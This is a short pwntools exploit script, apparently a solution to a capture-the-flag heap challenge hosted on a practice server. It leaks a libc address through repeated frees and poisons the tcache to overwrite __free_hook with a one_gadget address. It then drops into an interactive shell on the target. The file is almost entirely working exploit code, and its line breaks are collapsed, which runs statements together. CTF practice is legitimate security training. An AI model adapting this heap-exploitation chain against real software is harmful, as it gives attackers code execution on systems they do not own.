1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| from pwn import *
sh = remote('node3.buuoj.cn',26426) libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so') malloc_hook_s = libc.symbols['__malloc_hook'] free_hook_s = libc.symbols['__free_hook'] one_gadget = 0x4f322
def add(size,content): sh.sendlineafter('Command:','1') sh.sendlineafter('size:',str(size)) sh.sendlineafter('Give me the name:',content)
def show(index): sh.sendlineafter('Command:','2') sh.sendlineafter('index:',str(index))
def delete(index): sh.sendlineafter('Command:','3') sh.sendlineafter('weapon:',str(index))
def backdoor(index): sh.sendlineafter('Command:','666') sh.sendlineafter('weapon:',str(index))
add(0x100,'a')
add(0x60,'b')
for i in range(8): delete(0)
show(0) sh.recvuntil('attack_times: ') main_arena_xx = int(sh.recvuntil('\n',drop = True)) malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF) libc_base = malloc_hook_addr - malloc_hook_s free_hook_addr = libc_base + free_hook_s one_gadget_addr = libc_base + one_gadget print 'libc_base=',hex(libc_base) print 'free_hook_addr=',hex(free_hook_addr) print 'one_gadget_addr=',hex(one_gadget_addr)
add(0x60,'a'*0x10 + p64(free_hook_addr - 0x10))
delete(2) delete(2)
for i in range(0x20): backdoor(2) add(0x60,'c') add(0x60,'c') add(0x60,p64(one_gadget_addr))
delete(1)
sh.interactive()
|